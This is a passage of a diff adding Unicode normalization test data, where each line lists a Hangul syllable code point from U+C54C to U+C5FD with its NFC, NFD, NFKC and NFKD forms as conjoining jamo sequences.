+{ source: [0xC54C], NFC: [0xC54C], NFD: [0x110B, 0x1161, 0x11AF], NFKC: [0xC54C], NFKD: [0x110B, 0x1161, 0x11AF] },
+{ source: [0xC54D], NFC: [0xC54D], NFD: [0x110B, 0x1161, 0x11B0], NFKC: [0xC54D], NFKD: [0x110B, 0x1161, 0x11B0] },
+{ source: [0xC54E], NFC: [0xC54E], NFD: [0x110B, 0x1161, 0x11B1], NFKC: [0xC54E], NFKD: [0x110B, 0x1161, 0x11B1] },
+{ source: [0xC54F], NFC: [0xC54F], NFD: [0x110B, 0x1161, 0x11B2], NFKC: [0xC54F], NFKD: [0x110B, 0x1161, 0x11B2] },
+{ source: [0xC550], NFC: [0xC550], NFD: [0x110B, 0x1161, 0x11B3], NFKC: [0xC550], NFKD: [0x110B, 0x1161, 0x11B3] },
+{ source: [0xC551], NFC: [0xC551], NFD: [0x110B, 0x1161, 0x11B4], NFKC: [0xC551], NFKD: [0x110B, 0x1161, 0x11B4] },
+{ source: [0xC552], NFC: [0xC552], NFD: [0x110B, 0x1161, 0x11B5], NFKC: [0xC552], NFKD: [0x110B, 0x1161, 0x11B5] },
+{ source: [0xC553], NFC: [0xC553], NFD: [0x110B, 0x1161, 0x11B6], NFKC: [0xC553], NFKD: [0x110B, 0x1161, 0x11B6] },
+{ source: [0xC554], NFC: [0xC554], NFD: [0x110B, 0x1161, 0x11B7], NFKC: [0xC554], NFKD: [0x110B, 0x1161, 0x11B7] },
+{ source: [0xC555], NFC: [0xC555], NFD: [0x110B, 0x1161, 0x11B8], NFKC: [0xC555], NFKD: [0x110B, 0x1161, 0x11B8] },
+{ source: [0xC556], NFC: [0xC556], NFD: [0x110B, 0x1161, 0x11B9], NFKC: [0xC556], NFKD: [0x110B, 0x1161, 0x11B9] },
+{ source: [0xC557], NFC: [0xC557], NFD: [0x110B, 0x1161, 0x11BA], NFKC: [0xC557], NFKD: [0x110B, 0x1161, 0x11BA] },
+{ source: [0xC558], NFC: [0xC558], NFD: [0x110B, 0x1161, 0x11BB], NFKC: [0xC558], NFKD: [0x110B, 0x1161, 0x11BB] },
+{ source: [0xC559], NFC: [0xC559], NFD: [0x110B, 0x1161, 0x11BC], NFKC: [0xC559], NFKD: [0x110B, 0x1161, 0x11BC] },
+{ source: [0xC55A], NFC: [0xC55A], NFD: [0x110B, 0x1161, 0x11BD], NFKC: [0xC55A], NFKD: [0x110B, 0x1161, 0x11BD] },
+{ source: [0xC55B], NFC: [0xC55B], NFD: [0x110B, 0x1161, 0x11BE], NFKC: [0xC55B], NFKD: [0x110B, 0x1161, 0x11BE] },
+{ source: [0xC55C], NFC: [0xC55C], NFD: [0x110B, 0x1161, 0x11BF], NFKC: [0xC55C], NFKD: [0x110B, 0x1161, 0x11BF] },
+{ source: [0xC55D], NFC: [0xC55D], NFD: [0x110B, 0x1161, 0x11C0], NFKC: [0xC55D], NFKD: [0x110B, 0x1161, 0x11C0] },
+{ source: [0xC55E], NFC: [0xC55E], NFD: [0x110B, 0x1161, 0x11C1], NFKC: [0xC55E], NFKD: [0x110B, 0x1161, 0x11C1] },
+{ source: [0xC55F], NFC: [0xC55F], NFD: [0x110B, 0x1161, 0x11C2], NFKC: [0xC55F], NFKD: [0x110B, 0x1161, 0x11C2] },
+{ source: [0xC560], NFC: [0xC560], NFD: [0x110B, 0x1162], NFKC: [0xC560], NFKD: [0x110B, 0x1162] },
+{ source: [0xC561], NFC: [0xC561], NFD: [0x110B, 0x1162, 0x11A8], NFKC: [0xC561], NFKD: [0x110B, 0x1162, 0x11A8] },
+{ source: [0xC562], NFC: [0xC562], NFD: [0x110B, 0x1162, 0x11A9], NFKC: [0xC562], NFKD: [0x110B, 0x1162, 0x11A9] },
+{ source: [0xC563], NFC: [0xC563], NFD: [0x110B, 0x1162, 0x11AA], NFKC: [0xC563], NFKD: [0x110B, 0x1162, 0x11AA] },
+{ source: [0xC564], NFC: [0xC564], NFD: [0x110B, 0x1162, 0x11AB], NFKC: [0xC564], NFKD: [0x110B, 0x1162, 0x11AB] },
+{ source: [0xC565], NFC: [0xC565], NFD: [0x110B, 0x1162, 0x11AC], NFKC: [0xC565], NFKD: [0x110B, 0x1162, 0x11AC] },
+{ source: [0xC566], NFC: [0xC566], NFD: [0x110B, 0x1162, 0x11AD], NFKC: [0xC566], NFKD: [0x110B, 0x1162, 0x11AD] },
+{ source: [0xC567], NFC: [0xC567], NFD: [0x110B, 0x1162, 0x11AE], NFKC: [0xC567], NFKD: [0x110B, 0x1162, 0x11AE] },
+{ source: [0xC568], NFC: [0xC568], NFD: [0x110B, 0x1162, 0x11AF], NFKC: [0xC568], NFKD: [0x110B, 0x1162, 0x11AF] },
+{ source: [0xC569], NFC: [0xC569], NFD: [0x110B, 0x1162, 0x11B0], NFKC: [0xC569], NFKD: [0x110B, 0x1162, 0x11B0] },
+{ source: [0xC56A], NFC: [0xC56A], NFD: [0x110B, 0x1162, 0x11B1], NFKC: [0xC56A], NFKD: [0x110B, 0x1162, 0x11B1] },
+{ source: [0xC56B], NFC: [0xC56B], NFD: [0x110B, 0x1162, 0x11B2], NFKC: [0xC56B], NFKD: [0x110B, 0x1162, 0x11B2] },
+{ source: [0xC56C], NFC: [0xC56C], NFD: [0x110B, 0x1162, 0x11B3], NFKC: [0xC56C], NFKD: [0x110B, 0x1162, 0x11B3] },
+{ source: [0xC56D], NFC: [0xC56D], NFD: [0x110B, 0x1162, 0x11B4], NFKC: [0xC56D], NFKD: [0x110B, 0x1162, 0x11B4] },
+{ source: [0xC56E], NFC: [0xC56E], NFD: [0x110B, 0x1162, 0x11B5], NFKC: [0xC56E], NFKD: [0x110B, 0x1162, 0x11B5] },
+{ source: [0xC56F], NFC: [0xC56F], NFD: [0x110B, 0x1162, 0x11B6], NFKC: [0xC56F], NFKD: [0x110B, 0x1162, 0x11B6] },
+{ source: [0xC570], NFC: [0xC570], NFD: [0x110B, 0x1162, 0x11B7], NFKC: [0xC570], NFKD: [0x110B, 0x1162, 0x11B7] },
+{ source: [0xC571], NFC: [0xC571], NFD: [0x110B, 0x1162, 0x11B8], NFKC: [0xC571], NFKD: [0x110B, 0x1162, 0x11B8] },
+{ source: [0xC572], NFC: [0xC572], NFD: [0x110B, 0x1162, 0x11B9], NFKC: [0xC572], NFKD: [0x110B, 0x1162, 0x11B9] },
+{ source: [0xC573], NFC: [0xC573], NFD: [0x110B, 0x1162, 0x11BA], NFKC: [0xC573], NFKD: [0x110B, 0x1162, 0x11BA] },
+{ source: [0xC574], NFC: [0xC574], NFD: [0x110B, 0x1162, 0x11BB], NFKC: [0xC574], NFKD: [0x110B, 0x1162, 0x11BB] },
+{ source: [0xC575], NFC: [0xC575], NFD: [0x110B, 0x1162, 0x11BC], NFKC: [0xC575], NFKD: [0x110B, 0x1162, 0x11BC] },
+{ source: [0xC576], NFC: [0xC576], NFD: [0x110B, 0x1162, 0x11BD], NFKC: [0xC576], NFKD: [0x110B, 0x1162, 0x11BD] },
+{ source: [0xC577], NFC: [0xC577], NFD: [0x110B, 0x1162, 0x11BE], NFKC: [0xC577], NFKD: [0x110B, 0x1162, 0x11BE] },
+{ source: [0xC578], NFC: [0xC578], NFD: [0x110B, 0x1162, 0x11BF], NFKC: [0xC578], NFKD: [0x110B, 0x1162, 0x11BF] },
+{ source: [0xC579], NFC: [0xC579], NFD: [0x110B, 0x1162, 0x11C0], NFKC: [0xC579], NFKD: [0x110B, 0x1162, 0x11C0] },
+{ source: [0xC57A], NFC: [0xC57A], NFD: [0x110B, 0x1162, 0x11C1], NFKC: [0xC57A], NFKD: [0x110B, 0x1162, 0x11C1] },
+{ source: [0xC57B], NFC: [0xC57B], NFD: [0x110B, 0x1162, 0x11C2], NFKC: [0xC57B], NFKD: [0x110B, 0x1162, 0x11C2] },
+{ source: [0xC57C], NFC: [0xC57C], NFD: [0x110B, 0x1163], NFKC: [0xC57C], NFKD: [0x110B, 0x1163] },
+{ source: [0xC57D], NFC: [0xC57D], NFD: [0x110B, 0x1163, 0x11A8], NFKC: [0xC57D], NFKD: [0x110B, 0x1163, 0x11A8] },
+{ source: [0xC57E], NFC: [0xC57E], NFD: [0x110B, 0x1163, 0x11A9], NFKC: [0xC57E], NFKD: [0x110B, 0x1163, 0x11A9] },
+{ source: [0xC57F], NFC: [0xC57F], NFD: [0x110B, 0x1163, 0x11AA], NFKC: [0xC57F], NFKD: [0x110B, 0x1163, 0x11AA] },
+{ source: [0xC580], NFC: [0xC580], NFD: [0x110B, 0x1163, 0x11AB], NFKC: [0xC580], NFKD: [0x110B, 0x1163, 0x11AB] },
+{ source: [0xC581], NFC: [0xC581], NFD: [0x110B, 0x1163, 0x11AC], NFKC: [0xC581], NFKD: [0x110B, 0x1163, 0x11AC] },
+{ source: [0xC582], NFC: [0xC582], NFD: [0x110B, 0x1163, 0x11AD], NFKC: [0xC582], NFKD: [0x110B, 0x1163, 0x11AD] },
+{ source: [0xC583], NFC: [0xC583], NFD: [0x110B, 0x1163, 0x11AE], NFKC: [0xC583], NFKD: [0x110B, 0x1163, 0x11AE] },
+{ source: [0xC584], NFC: [0xC584], NFD: [0x110B, 0x1163, 0x11AF], NFKC: [0xC584], NFKD: [0x110B, 0x1163, 0x11AF] },
+{ source: [0xC585], NFC: [0xC585], NFD: [0x110B, 0x1163, 0x11B0], NFKC: [0xC585], NFKD: [0x110B, 0x1163, 0x11B0] },
+{ source: [0xC586], NFC: [0xC586], NFD: [0x110B, 0x1163, 0x11B1], NFKC: [0xC586], NFKD: [0x110B, 0x1163, 0x11B1] },
+{ source: [0xC587], NFC: [0xC587], NFD: [0x110B, 0x1163, 0x11B2], NFKC: [0xC587], NFKD: [0x110B, 0x1163, 0x11B2] },
+{ source: [0xC588], NFC: [0xC588], NFD: [0x110B, 0x1163, 0x11B3], NFKC: [0xC588], NFKD: [0x110B, 0x1163, 0x11B3] },
+{ source: [0xC589], NFC: [0xC589], NFD: [0x110B, 0x1163, 0x11B4], NFKC: [0xC589], NFKD: [0x110B, 0x1163, 0x11B4] },
+{ source: [0xC58A], NFC: [0xC58A], NFD: [0x110B, 0x1163, 0x11B5], NFKC: [0xC58A], NFKD: [0x110B, 0x1163, 0x11B5] },
+{ source: [0xC58B], NFC: [0xC58B], NFD: [0x110B, 0x1163, 0x11B6], NFKC: [0xC58B], NFKD: [0x110B, 0x1163, 0x11B6] },
+{ source: [0xC58C], NFC: [0xC58C], NFD: [0x110B, 0x1163, 0x11B7], NFKC: [0xC58C], NFKD: [0x110B, 0x1163, 0x11B7] },
+{ source: [0xC58D], NFC: [0xC58D], NFD: [0x110B, 0x1163, 0x11B8], NFKC: [0xC58D], NFKD: [0x110B, 0x1163, 0x11B8] },
+{ source: [0xC58E], NFC: [0xC58E], NFD: [0x110B, 0x1163, 0x11B9], NFKC: [0xC58E], NFKD: [0x110B, 0x1163, 0x11B9] },
+{ source: [0xC58F], NFC: [0xC58F], NFD: [0x110B, 0x1163, 0x11BA], NFKC: [0xC58F], NFKD: [0x110B, 0x1163, 0x11BA] },
+{ source: [0xC590], NFC: [0xC590], NFD: [0x110B, 0x1163, 0x11BB], NFKC: [0xC590], NFKD: [0x110B, 0x1163, 0x11BB] },
+{ source: [0xC591], NFC: [0xC591], NFD: [0x110B, 0x1163, 0x11BC], NFKC: [0xC591], NFKD: [0x110B, 0x1163, 0x11BC] },
+{ source: [0xC592], NFC: [0xC592], NFD: [0x110B, 0x1163, 0x11BD], NFKC: [0xC592], NFKD: [0x110B, 0x1163, 0x11BD] },
+{ source: [0xC593], NFC: [0xC593], NFD: [0x110B, 0x1163, 0x11BE], NFKC: [0xC593], NFKD: [0x110B, 0x1163, 0x11BE] },
+{ source: [0xC594], NFC: [0xC594], NFD: [0x110B, 0x1163, 0x11BF], NFKC: [0xC594], NFKD: [0x110B, 0x1163, 0x11BF] },
+{ source: [0xC595], NFC: [0xC595], NFD: [0x110B, 0x1163, 0x11C0], NFKC: [0xC595], NFKD: [0x110B, 0x1163, 0x11C0] },
+{ source: [0xC596], NFC: [0xC596], NFD: [0x110B, 0x1163, 0x11C1], NFKC: [0xC596], NFKD: [0x110B, 0x1163, 0x11C1] },
+{ source: [0xC597], NFC: [0xC597], NFD: [0x110B, 0x1163, 0x11C2], NFKC: [0xC597], NFKD: [0x110B, 0x1163, 0x11C2] },
+{ source: [0xC598], NFC: [0xC598], NFD: [0x110B, 0x1164], NFKC: [0xC598], NFKD: [0x110B, 0x1164] },
+{ source: [0xC599], NFC: [0xC599], NFD: [0x110B, 0x1164, 0x11A8], NFKC: [0xC599], NFKD: [0x110B, 0x1164, 0x11A8] },
+{ source: [0xC59A], NFC: [0xC59A], NFD: [0x110B, 0x1164, 0x11A9], NFKC: [0xC59A], NFKD: [0x110B, 0x1164, 0x11A9] },
+{ source: [0xC59B], NFC: [0xC59B], NFD: [0x110B, 0x1164, 0x11AA], NFKC: [0xC59B], NFKD: [0x110B, 0x1164, 0x11AA] },
+{ source: [0xC59C], NFC: [0xC59C], NFD: [0x110B, 0x1164, 0x11AB], NFKC: [0xC59C], NFKD: [0x110B, 0x1164, 0x11AB] },
+{ source: [0xC59D], NFC: [0xC59D], NFD: [0x110B, 0x1164, 0x11AC], NFKC: [0xC59D], NFKD: [0x110B, 0x1164, 0x11AC] },
+{ source: [0xC59E], NFC: [0xC59E], NFD: [0x110B, 0x1164, 0x11AD], NFKC: [0xC59E], NFKD: [0x110B, 0x1164, 0x11AD] },
+{ source: [0xC59F], NFC: [0xC59F], NFD: [0x110B, 0x1164, 0x11AE], NFKC: [0xC59F], NFKD: [0x110B, 0x1164, 0x11AE] },
+{ source: [0xC5A0], NFC: [0xC5A0], NFD: [0x110B, 0x1164, 0x11AF], NFKC: [0xC5A0], NFKD: [0x110B, 0x1164, 0x11AF] },
+{ source: [0xC5A1], NFC: [0xC5A1], NFD: [0x110B, 0x1164, 0x11B0], NFKC: [0xC5A1], NFKD: [0x110B, 0x1164, 0x11B0] },
+{ source: [0xC5A2], NFC: [0xC5A2], NFD: [0x110B, 0x1164, 0x11B1], NFKC: [0xC5A2], NFKD: [0x110B, 0x1164, 0x11B1] },
+{ source: [0xC5A3], NFC: [0xC5A3], NFD: [0x110B, 0x1164, 0x11B2], NFKC: [0xC5A3], NFKD: [0x110B, 0x1164, 0x11B2] },
+{ source: [0xC5A4], NFC: [0xC5A4], NFD: [0x110B, 0x1164, 0x11B3], NFKC: [0xC5A4], NFKD: [0x110B, 0x1164, 0x11B3] },
+{ source: [0xC5A5], NFC: [0xC5A5], NFD: [0x110B, 0x1164, 0x11B4], NFKC: [0xC5A5], NFKD: [0x110B, 0x1164, 0x11B4] },
+{ source: [0xC5A6], NFC: [0xC5A6], NFD: [0x110B, 0x1164, 0x11B5], NFKC: [0xC5A6], NFKD: [0x110B, 0x1164, 0x11B5] },
+{ source: [0xC5A7], NFC: [0xC5A7], NFD: [0x110B, 0x1164, 0x11B6], NFKC: [0xC5A7], NFKD: [0x110B, 0x1164, 0x11B6] },
+{ source: [0xC5A8], NFC: [0xC5A8], NFD: [0x110B, 0x1164, 0x11B7], NFKC: [0xC5A8], NFKD: [0x110B, 0x1164, 0x11B7] },
+{ source: [0xC5A9], NFC: [0xC5A9], NFD: [0x110B, 0x1164, 0x11B8], NFKC: [0xC5A9], NFKD: [0x110B, 0x1164, 0x11B8] },
+{ source: [0xC5AA], NFC: [0xC5AA], NFD: [0x110B, 0x1164, 0x11B9], NFKC: [0xC5AA], NFKD: [0x110B, 0x1164, 0x11B9] },
+{ source: [0xC5AB], NFC: [0xC5AB], NFD: [0x110B, 0x1164, 0x11BA], NFKC: [0xC5AB], NFKD: [0x110B, 0x1164, 0x11BA] },
+{ source: [0xC5AC], NFC: [0xC5AC], NFD: [0x110B, 0x1164, 0x11BB], NFKC: [0xC5AC], NFKD: [0x110B, 0x1164, 0x11BB] },
+{ source: [0xC5AD], NFC: [0xC5AD], NFD: [0x110B, 0x1164, 0x11BC], NFKC: [0xC5AD], NFKD: [0x110B, 0x1164, 0x11BC] },
+{ source: [0xC5AE], NFC: [0xC5AE], NFD: [0x110B, 0x1164, 0x11BD], NFKC: [0xC5AE], NFKD: [0x110B, 0x1164, 0x11BD] },
+{ source: [0xC5AF], NFC: [0xC5AF], NFD: [0x110B, 0x1164, 0x11BE], NFKC: [0xC5AF], NFKD: [0x110B, 0x1164, 0x11BE] },
+{ source: [0xC5B0], NFC: [0xC5B0], NFD: [0x110B, 0x1164, 0x11BF], NFKC: [0xC5B0], NFKD: [0x110B, 0x1164, 0x11BF] },
+{ source: [0xC5B1], NFC: [0xC5B1], NFD: [0x110B, 0x1164, 0x11C0], NFKC: [0xC5B1], NFKD: [0x110B, 0x1164, 0x11C0] },
+{ source: [0xC5B2], NFC: [0xC5B2], NFD: [0x110B, 0x1164, 0x11C1], NFKC: [0xC5B2], NFKD: [0x110B, 0x1164, 0x11C1] },
+{ source: [0xC5B3], NFC: [0xC5B3], NFD: [0x110B, 0x1164, 0x11C2], NFKC: [0xC5B3], NFKD: [0x110B, 0x1164, 0x11C2] },
+{ source: [0xC5B4], NFC: [0xC5B4], NFD: [0x110B, 0x1165], NFKC: [0xC5B4], NFKD: [0x110B, 0x1165] },
+{ source: [0xC5B5], NFC: [0xC5B5], NFD: [0x110B, 0x1165, 0x11A8], NFKC: [0xC5B5], NFKD: [0x110B, 0x1165, 0x11A8] },
+{ source: [0xC5B6], NFC: [0xC5B6], NFD: [0x110B, 0x1165, 0x11A9], NFKC: [0xC5B6], NFKD: [0x110B, 0x1165, 0x11A9] },
+{ source: [0xC5B7], NFC: [0xC5B7], NFD: [0x110B, 0x1165, 0x11AA], NFKC: [0xC5B7], NFKD: [0x110B, 0x1165, 0x11AA] },
+{ source: [0xC5B8], NFC: [0xC5B8], NFD: [0x110B, 0x1165, 0x11AB], NFKC: [0xC5B8], NFKD: [0x110B, 0x1165, 0x11AB] },
+{ source: [0xC5B9], NFC: [0xC5B9], NFD: [0x110B, 0x1165, 0x11AC], NFKC: [0xC5B9], NFKD: [0x110B, 0x1165, 0x11AC] },
+{ source: [0xC5BA], NFC: [0xC5BA], NFD: [0x110B, 0x1165, 0x11AD], NFKC: [0xC5BA], NFKD: [0x110B, 0x1165, 0x11AD] },
+{ source: [0xC5BB], NFC: [0xC5BB], NFD: [0x110B, 0x1165, 0x11AE], NFKC: [0xC5BB], NFKD: [0x110B, 0x1165, 0x11AE] },
+{ source: [0xC5BC], NFC: [0xC5BC], NFD: [0x110B, 0x1165, 0x11AF], NFKC: [0xC5BC], NFKD: [0x110B, 0x1165, 0x11AF] },
+{ source: [0xC5BD], NFC: [0xC5BD], NFD: [0x110B, 0x1165, 0x11B0], NFKC: [0xC5BD], NFKD: [0x110B, 0x1165, 0x11B0] },
+{ source: [0xC5BE], NFC: [0xC5BE], NFD: [0x110B, 0x1165, 0x11B1], NFKC: [0xC5BE], NFKD: [0x110B, 0x1165, 0x11B1] },
+{ source: [0xC5BF], NFC: [0xC5BF], NFD: [0x110B, 0x1165, 0x11B2], NFKC: [0xC5BF], NFKD: [0x110B, 0x1165, 0x11B2] },
+{ source: [0xC5C0], NFC: [0xC5C0], NFD: [0x110B, 0x1165, 0x11B3], NFKC: [0xC5C0], NFKD: [0x110B, 0x1165, 0x11B3] },
+{ source: [0xC5C1], NFC: [0xC5C1], NFD: [0x110B, 0x1165, 0x11B4], NFKC: [0xC5C1], NFKD: [0x110B, 0x1165, 0x11B4] },
+{ source: [0xC5C2], NFC: [0xC5C2], NFD: [0x110B, 0x1165, 0x11B5], NFKC: [0xC5C2], NFKD: [0x110B, 0x1165, 0x11B5] },
+{ source: [0xC5C3], NFC: [0xC5C3], NFD: [0x110B, 0x1165, 0x11B6], NFKC: [0xC5C3], NFKD: [0x110B, 0x1165, 0x11B6] },
+{ source: [0xC5C4], NFC: [0xC5C4], NFD: [0x110B, 0x1165, 0x11B7], NFKC: [0xC5C4], NFKD: [0x110B, 0x1165, 0x11B7] },
+{ source: [0xC5C5], NFC: [0xC5C5], NFD: [0x110B, 0x1165, 0x11B8], NFKC: [0xC5C5], NFKD: [0x110B, 0x1165, 0x11B8] },
+{ source: [0xC5C6], NFC: [0xC5C6], NFD: [0x110B, 0x1165, 0x11B9], NFKC: [0xC5C6], NFKD: [0x110B, 0x1165, 0x11B9] },
+{ source: [0xC5C7], NFC: [0xC5C7], NFD: [0x110B, 0x1165, 0x11BA], NFKC: [0xC5C7], NFKD: [0x110B, 0x1165, 0x11BA] },
+{ source: [0xC5C8], NFC: [0xC5C8], NFD: [0x110B, 0x1165, 0x11BB], NFKC: [0xC5C8], NFKD: [0x110B, 0x1165, 0x11BB] },
+{ source: [0xC5C9], NFC: [0xC5C9], NFD: [0x110B, 0x1165, 0x11BC], NFKC: [0xC5C9], NFKD: [0x110B, 0x1165, 0x11BC] },
+{ source: [0xC5CA], NFC: [0xC5CA], NFD: [0x110B, 0x1165, 0x11BD], NFKC: [0xC5CA], NFKD: [0x110B, 0x1165, 0x11BD] },
+{ source: [0xC5CB], NFC: [0xC5CB], NFD: [0x110B, 0x1165, 0x11BE], NFKC: [0xC5CB], NFKD: [0x110B, 0x1165, 0x11BE] },
+{ source: [0xC5CC], NFC: [0xC5CC], NFD: [0x110B, 0x1165, 0x11BF], NFKC: [0xC5CC], NFKD: [0x110B, 0x1165, 0x11BF] },
+{ source: [0xC5CD], NFC: [0xC5CD], NFD: [0x110B, 0x1165, 0x11C0], NFKC: [0xC5CD], NFKD: [0x110B, 0x1165, 0x11C0] },
+{ source: [0xC5CE], NFC: [0xC5CE], NFD: [0x110B, 0x1165, 0x11C1], NFKC: [0xC5CE], NFKD: [0x110B, 0x1165, 0x11C1] },
+{ source: [0xC5CF], NFC: [0xC5CF], NFD: [0x110B, 0x1165, 0x11C2], NFKC: [0xC5CF], NFKD: [0x110B, 0x1165, 0x11C2] },
+{ source: [0xC5D0], NFC: [0xC5D0], NFD: [0x110B, 0x1166], NFKC: [0xC5D0], NFKD: [0x110B, 0x1166] },
+{ source: [0xC5D1], NFC: [0xC5D1], NFD: [0x110B, 0x1166, 0x11A8], NFKC: [0xC5D1], NFKD: [0x110B, 0x1166, 0x11A8] },
+{ source: [0xC5D2], NFC: [0xC5D2], NFD: [0x110B, 0x1166, 0x11A9], NFKC: [0xC5D2], NFKD: [0x110B, 0x1166, 0x11A9] },
+{ source: [0xC5D3], NFC: [0xC5D3], NFD: [0x110B, 0x1166, 0x11AA], NFKC: [0xC5D3], NFKD: [0x110B, 0x1166, 0x11AA] },
+{ source: [0xC5D4], NFC: [0xC5D4], NFD: [0x110B, 0x1166, 0x11AB], NFKC: [0xC5D4], NFKD: [0x110B, 0x1166, 0x11AB] },
+{ source: [0xC5D5], NFC: [0xC5D5], NFD: [0x110B, 0x1166, 0x11AC], NFKC: [0xC5D5], NFKD: [0x110B, 0x1166, 0x11AC] },
+{ source: [0xC5D6], NFC: [0xC5D6], NFD: [0x110B, 0x1166, 0x11AD], NFKC: [0xC5D6], NFKD: [0x110B, 0x1166, 0x11AD] },
+{ source: [0xC5D7], NFC: [0xC5D7], NFD: [0x110B, 0x1166, 0x11AE], NFKC: [0xC5D7], NFKD: [0x110B, 0x1166, 0x11AE] },
+{ source: [0xC5D8], NFC: [0xC5D8], NFD: [0x110B, 0x1166, 0x11AF], NFKC: [0xC5D8], NFKD: [0x110B, 0x1166, 0x11AF] },
+{ source: [0xC5D9], NFC: [0xC5D9], NFD: [0x110B, 0x1166, 0x11B0], NFKC: [0xC5D9], NFKD: [0x110B, 0x1166, 0x11B0] },
+{ source: [0xC5DA], NFC: [0xC5DA], NFD: [0x110B, 0x1166, 0x11B1], NFKC: [0xC5DA], NFKD: [0x110B, 0x1166, 0x11B1] },
+{ source: [0xC5DB], NFC: [0xC5DB], NFD: [0x110B, 0x1166, 0x11B2], NFKC: [0xC5DB], NFKD: [0x110B, 0x1166, 0x11B2] },
+{ source: [0xC5DC], NFC: [0xC5DC], NFD: [0x110B, 0x1166, 0x11B3], NFKC: [0xC5DC], NFKD: [0x110B, 0x1166, 0x11B3] },
+{ source: [0xC5DD], NFC: [0xC5DD], NFD: [0x110B, 0x1166, 0x11B4], NFKC: [0xC5DD], NFKD: [0x110B, 0x1166, 0x11B4] },
+{ source: [0xC5DE], NFC: [0xC5DE], NFD: [0x110B, 0x1166, 0x11B5], NFKC: [0xC5DE], NFKD: [0x110B, 0x1166, 0x11B5] },
+{ source: [0xC5DF], NFC: [0xC5DF], NFD: [0x110B, 0x1166, 0x11B6], NFKC: [0xC5DF], NFKD: [0x110B, 0x1166, 0x11B6] },
+{ source: [0xC5E0], NFC: [0xC5E0], NFD: [0x110B, 0x1166, 0x11B7], NFKC: [0xC5E0], NFKD: [0x110B, 0x1166, 0x11B7] },
+{ source: [0xC5E1], NFC: [0xC5E1], NFD: [0x110B, 0x1166, 0x11B8], NFKC: [0xC5E1], NFKD: [0x110B, 0x1166, 0x11B8] },
+{ source: [0xC5E2], NFC: [0xC5E2], NFD: [0x110B, 0x1166, 0x11B9], NFKC: [0xC5E2], NFKD: [0x110B, 0x1166, 0x11B9] },
+{ source: [0xC5E3], NFC: [0xC5E3], NFD: [0x110B, 0x1166, 0x11BA], NFKC: [0xC5E3], NFKD: [0x110B, 0x1166, 0x11BA] },
+{ source: [0xC5E4], NFC: [0xC5E4], NFD: [0x110B, 0x1166, 0x11BB], NFKC: [0xC5E4], NFKD: [0x110B, 0x1166, 0x11BB] },
+{ source: [0xC5E5], NFC: [0xC5E5], NFD: [0x110B, 0x1166, 0x11BC], NFKC: [0xC5E5], NFKD: [0x110B, 0x1166, 0x11BC] },
+{ source: [0xC5E6], NFC: [0xC5E6], NFD: [0x110B, 0x1166, 0x11BD], NFKC: [0xC5E6], NFKD: [0x110B, 0x1166, 0x11BD] },
+{ source: [0xC5E7], NFC: [0xC5E7], NFD: [0x110B, 0x1166, 0x11BE], NFKC: [0xC5E7], NFKD: [0x110B, 0x1166, 0x11BE] },
+{ source: [0xC5E8], NFC: [0xC5E8], NFD: [0x110B, 0x1166, 0x11BF], NFKC: [0xC5E8], NFKD: [0x110B, 0x1166, 0x11BF] },
+{ source: [0xC5E9], NFC: [0xC5E9], NFD: [0x110B, 0x1166, 0x11C0], NFKC: [0xC5E9], NFKD: [0x110B, 0x1166, 0x11C0] },
+{ source: [0xC5EA], NFC: [0xC5EA], NFD: [0x110B, 0x1166, 0x11C1], NFKC: [0xC5EA], NFKD: [0x110B, 0x1166, 0x11C1] },
+{ source: [0xC5EB], NFC: [0xC5EB], NFD: [0x110B, 0x1166, 0x11C2], NFKC: [0xC5EB], NFKD: [0x110B, 0x1166, 0x11C2] },
+{ source: [0xC5EC], NFC: [0xC5EC], NFD: [0x110B, 0x1167], NFKC: [0xC5EC], NFKD: [0x110B, 0x1167] },
+{ source: [0xC5ED], NFC: [0xC5ED], NFD: [0x110B, 0x1167, 0x11A8], NFKC: [0xC5ED], NFKD: [0x110B, 0x1167, 0x11A8] },
+{ source: [0xC5EE], NFC: [0xC5EE], NFD: [0x110B, 0x1167, 0x11A9], NFKC: [0xC5EE], NFKD: [0x110B, 0x1167, 0x11A9] },
+{ source: [0xC5EF], NFC: [0xC5EF], NFD: [0x110B, 0x1167, 0x11AA], NFKC: [0xC5EF], NFKD: [0x110B, 0x1167, 0x11AA] },
+{ source: [0xC5F0], NFC: [0xC5F0], NFD: [0x110B, 0x1167, 0x11AB], NFKC: [0xC5F0], NFKD: [0x110B, 0x1167, 0x11AB] },
+{ source: [0xC5F1], NFC: [0xC5F1], NFD: [0x110B, 0x1167, 0x11AC], NFKC: [0xC5F1], NFKD: [0x110B, 0x1167, 0x11AC] },
+{ source: [0xC5F2], NFC: [0xC5F2], NFD: [0x110B, 0x1167, 0x11AD], NFKC: [0xC5F2], NFKD: [0x110B, 0x1167, 0x11AD] },
+{ source: [0xC5F3], NFC: [0xC5F3], NFD: [0x110B, 0x1167, 0x11AE], NFKC: [0xC5F3], NFKD: [0x110B, 0x1167, 0x11AE] },
+{ source: [0xC5F4], NFC: [0xC5F4], NFD: [0x110B, 0x1167, 0x11AF], NFKC: [0xC5F4], NFKD: [0x110B, 0x1167, 0x11AF] },
+{ source: [0xC5F5], NFC: [0xC5F5], NFD: [0x110B, 0x1167, 0x11B0], NFKC: [0xC5F5], NFKD: [0x110B, 0x1167, 0x11B0] },
+{ source: [0xC5F6], NFC: [0xC5F6], NFD: [0x110B, 0x1167, 0x11B1], NFKC: [0xC5F6], NFKD: [0x110B, 0x1167, 0x11B1] },
+{ source: [0xC5F7], NFC: [0xC5F7], NFD: [0x110B, 0x1167, 0x11B2], NFKC: [0xC5F7], NFKD: [0x110B, 0x1167, 0x11B2] },
+{ source: [0xC5F8], NFC: [0xC5F8], NFD: [0x110B, 0x1167, 0x11B3], NFKC: [0xC5F8], NFKD: [0x110B, 0x1167, 0x11B3] },
+{ source: [0xC5F9], NFC: [0xC5F9], NFD: [0x110B, 0x1167, 0x11B4], NFKC: [0xC5F9], NFKD: [0x110B, 0x1167, 0x11B4] },
+{ source: [0xC5FA], NFC: [0xC5FA], NFD: [0x110B, 0x1167, 0x11B5], NFKC: [0xC5FA], NFKD: [0x110B, 0x1167, 0x11B5] },
+{ source: [0xC5FB], NFC: [0xC5FB], NFD: [0x110B, 0x1167, 0x11B6], NFKC: [0xC5FB], NFKD: [0x110B, 0x1167, 0x11B6] },
+{ source: [0xC5FC], NFC: [0xC5FC], NFD: [0x110B, 0x1167, 0x11B7], NFKC: [0xC5FC], NFKD: [0x110B, 0x1167, 0x11B7] },
+{ source: [0xC5FD], NFC: [0xC5FD], NFD: [0x110B, 0x1167, 0x11B8], NFKC: [0xC5FD], NFKD: [0x110B, 0x1167, 0x11B8] },
